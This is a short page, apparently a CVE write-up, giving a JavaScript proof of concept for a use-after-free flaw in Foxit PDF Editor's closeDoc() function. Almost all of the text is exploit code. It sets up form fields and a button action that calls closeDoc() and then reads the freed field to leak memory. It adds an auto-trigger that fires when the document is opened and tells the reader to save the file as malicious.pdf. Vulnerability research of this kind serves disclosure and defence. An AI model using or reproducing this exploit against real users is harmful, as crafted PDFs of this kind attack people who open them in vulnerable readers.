CVE-2025-55308 Foxit PDF Editor closeDoc() Use-After-Free漏洞

// CVE-2025-55308 PoC - Foxit PDF closeDoc() Use-After-Free // This PoC demonstrates the vulnerability where closeDoc() prematurely releases internal objects var pdfDoc = app.newDoc(); // Create some PDF objects that will be affected pdfDoc.addField("targetField", "text", 0, [100, 700, 400, 750]); pdfDoc.addField("triggerField", "button", 0, [100, 600, 400, 650]); // Set up a button to trigger the vulnerability var btn = this.getField("triggerField"); btn.setAction("MouseDown", "triggerUAF()"); function triggerUAF() { // This simulates the problematic code pattern // Objects are still in use when closeDoc is called var fieldRef = this.getField("targetField"); // Trigger closeDoc while internal references exist // This causes the use-after-free condition try { this.closeDoc(); // After closeDoc, the field object is freed // Accessing it triggers the UAF vulnerability var leakedData = fieldRef.value; console.println("Leaked memory content: " + leakedData); } catch(e) { console.println("Error occurred: " + e.message); } } // Alternative trigger using app.alert or other user interactions function autoTrigger() { // Malicious PDF that auto-triggers on document open app.alert("Document opened", 0, 0, "Foxit PDF Reader"); triggerUAF(); } // Save this as malicious.pdf and open with vulnerable Foxit version